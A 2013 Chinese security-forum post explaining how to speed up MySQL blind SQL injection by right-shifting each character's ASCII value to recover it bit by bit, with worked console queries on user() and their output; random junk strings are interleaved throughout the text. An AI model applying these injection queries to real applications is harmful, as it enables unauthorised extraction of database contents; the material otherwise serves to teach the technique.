找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2204|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
; t" e6 L9 [3 }+ i7 H* h: w3 ^( d. d1 b/ B
( }/ {! t: d5 A$ a

$ b9 Q7 K! z, e& h下面将以查询mysql数据库当中user()的第一位为例:
+ ~& V" d  S; n- r3 v# g. i1 r& U5 L- G' h' l- ^8 S) ~5 p! |
3 m2 U. O1 n- R' c

( \) |- ~' T8 i0 _: Fps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
8 d" h0 Q, |, j7 f  @4 [4 y" ?( f2 F$ Z9 P' G& a' o2 [) R- o

2 h" S( Y7 Z: m. N4 ~7 z. `) N: T3 X
首先执行如下sql语句:8 O3 Q& {  v" r5 R  P$ w
$ w' H; Z# U% F* H( Q
4 h: L1 n1 Z( R* i& v! U% b# W2 b
/ J6 C- e: F& L/ _9 j: ~0 y
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
  i% g5 W3 L' h% A* z7 u7 B/ j+ I# w9 r4 [# d

0 ?8 Z6 a8 c/ a  q- }# w3 c' b" Q% s) o" J( ?0 \
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
5 Q6 z, f5 E; v7 i* J( J4 F& _( P$ O2 L
9 B  @& b6 l2 e0 w
# s- }4 w/ x8 G6 h! }# l+ ], c
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 a0 W9 l) j! N% l5 t, [5 v
- o) C. {* ^6 P7 j# [; j, p) N 8 u! ?+ Q- X- n" w* {$ W* U- p

9 H% L# p' y8 I' g0 @7 I, L如果运算结果为1,说明第一位为0,不为14 b- ?- @! }! K! O/ o7 n6 _" r& Y
- v/ G1 Y; P6 y3 `0 X/ N5 W( U

+ x, J0 T4 l- n# Q* U$ x
- u/ Y; c8 }! a( N- Y+————————————–+% {9 y1 t& T9 w( x# a6 A

7 ^' L; s% k6 B; l( y( u| (ascii((substr(user(),1,1))) >> 7)=0 |1 Q1 d) m; {) x2 v. N1 w" N

5 t- w, R. Y& [* E' R+————————————–+4 \+ O  a: y) m# B2 S5 ^; B

, N; H& F* r* C1 P6 @7 s' q! i| 1 |
& a6 d  a1 j5 I) a+ A+ K& f) B4 i1 O4 t( H( a: A
+————————————–+- Y1 }/ m& X# F

: |. H# G9 x& \1 J9 N6 K1 row in set (0.00 sec)/ @& L( n6 u" g8 U# {( j+ ?

* e2 C0 F' z' G* _  i9 f1 X这样我们就确定这个8bit的ascii的第一位为00 M; f; z7 [8 }& ~3 p5 u

7 I( M+ y$ z( Y+ }3 J
' e! J8 ^- b  C
: p+ \7 V5 \$ @2 ^$ n  v% V第二次我们来做6次右偏移来确定前两位1 {/ ]9 v, C6 K) k  b* V3 a8 n

+ D* L6 r; d9 K8 P% ~ 1 Z8 \/ U% e% k! r, W0 P3 c! k
# J) w7 Z* f, ^$ O' g
前两位可能是01或00,即依然可以与0做比较,
8 o$ i3 V8 B( x" H& q# Q# I9 X4 k3 @. L& c0 W/ y
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;  l; v- O8 B0 N" l
' C7 a% o8 a1 V! ]
+————————————–+8 G; p+ Y. L0 g3 T& a* P
% n. \8 ^" b9 Z( y( c! h+ C  L# }
| (ascii((substr(user(),1,1))) >> 6)=0 |
3 N7 o3 j8 z5 W% P- v0 s! B) P" j0 |6 A- L* m& o* i- l
+————————————–+
0 U# b+ j+ S, Q- }% C8 @% b3 `+ S1 M6 A" J. u8 U' W/ F: T4 @1 w
| 0 |$ L: g# D# o8 F

9 v! \1 X/ C7 h; ?: T/ h9 ~6 g+————————————–+0 H) f( }8 O1 n1 i% J0 P1 t+ U

3 ^8 r/ e7 x' l! \' a1 row in set (0.00 sec)" S1 O5 Q0 @, Q! H

7 k: V) W) t3 G3 b/ T2 @ * w# Q& S' {# Q/ L, M9 G

/ ?$ m( a# `, s2 B结果为0,即第二位为1
# Z8 E- K4 B8 n' K/ ~2 d8 A
% p- w6 d$ R6 _/ {) E  m
0 N8 a# Z6 r- c5 ]/ n) c
8 O9 b- Q" L# C开始猜测前三位为010或011
6 o+ Q, d1 s7 @1 m# F% P" T; i1 ~
6 ?3 E; w( Y# z
, ]: S3 |) r6 s% D2 Q
让我们看看010和011的ascii码是多少" S" t, `- l; K& c' X
7 \6 O4 b% P" D$ m: a8 j' B
5 ~3 @- U+ @" ?1 w* U- b
' m; b$ ]. V# P& g. v9 J$ M
分别查询select b’011′ select b’010′5 U. z- z+ e9 R- _# z$ D
+ ?' Z+ f! l8 S, z5 ~3 G

5 a& @9 r. s/ X" Q: M% M0 W9 m7 A; V& M
获得结果 010 = 2 011 = 3
# H% w3 B2 }' _$ L: F
" d2 e9 n, o' c8 R$ D# W! ]
5 v5 x( f9 j( |# R! j- o2 Z
8 d; u8 x" y- B+ q# U8 m9 s) d执行如下sql:
* w  t+ ?+ u5 h0 t6 ~; o3 U) q6 P: j  w! p- `8 Y
) B, g, |* M/ o/ H) u
& K) `9 [0 o1 L7 Z) N: t
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
& R: u8 T$ ^* `/ m
. \. a/ {; e2 {7 H  I  N1 L4 V( n+————————————–+7 `6 Y8 f8 H1 x
' w, T; H% u4 q/ K
| (ascii((substr(user(),1,1))) >> 5)=2 |% ~4 ~; j+ z' U  |6 V, O' p7 b: ?

0 r, q& w' Z' d  j3 L' N% p+————————————–+/ W- I6 E0 l9 }9 L5 [1 ?* o2 J

! }& Z2 ]3 N; Q4 H| 0 |7 ]( }! Z" o5 N" @5 }/ g9 @

' S) E* z* d  u( @5 L$ [+————————————–+
* W9 }3 M9 _" D" }  v6 w7 \
7 p! f1 ?% @( \! e即前三位不为010,而是011
8 E7 W. g. n5 r  V  i* O7 b* T( F+ J( j" h

9 U" i- {; T1 e& [* O, m  _& |# a5 C. w
直到获得最后一位  ?7 ^. z4 O% I" `" x- l, U: J
3 {0 s0 ?% f# Q3 _3 v

6 \! y) y8 L4 k) y0 `7 f2 f1 u( h" \  @- f' }; c
最终结果为:01110010( m) l- ?1 Z: n2 h# m0 ^6 L

( B6 c& h2 ?( [3 u% `
0 P$ W( c$ {- _# `2 r; Q6 p6 S5 Y& y# X( I
转换一下:
. t" X' m! }, A6 I* s+ U1 w
  ]1 f/ n5 [' r8 N 4 k" I) e' s8 R2 W: `% I
9 q8 g" [3 d. y& o
select b’01110010′" A. \1 W& l% s% ?

" @& }" R' y% {1 Y$ `
% H* }. G7 _. S! L/ ~5 u3 d6 f! ?) y  b
查询结果
( |- R/ X. b/ p- l9 }' i% C4 e2 |
, U! l+ x6 U1 c- u
, G7 z; i( d0 H! ^' \# B/ T; H/ a9 U, l) t) H3 v( n
+————-+. Q( r: T" c) a7 {5 p# r
* d- U9 T- @9 g! B. Q5 a
| b’01110010′ |5 D5 f; Y. r  J8 C
, H& D8 w# M% b
+————-+8 u( m2 i7 T! z9 f- [6 C

& _, p, ]/ ?6 z  S: }( A| r |+ A6 ^2 E/ d. W

3 X2 ~2 ?' t. {6 w8 ~* Y' _+————-+/ l- Z9 S+ m" }7 S" u) i! t7 S
0 \" r9 K& @8 o
1 row in set (0.00 sec)4 q, K& N# s* Y4 `2 X

* ]/ O- K2 d9 B& D8 y
7 b" t: b5 C1 ]2 M* ?. M* {& g3 O7 }1 P! d
这样我们就获得了user()的第一位.其它位依此类推
$ m3 `( l/ \# b  D; q) O. U4 Y+ s7 p# P2 E* K  x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表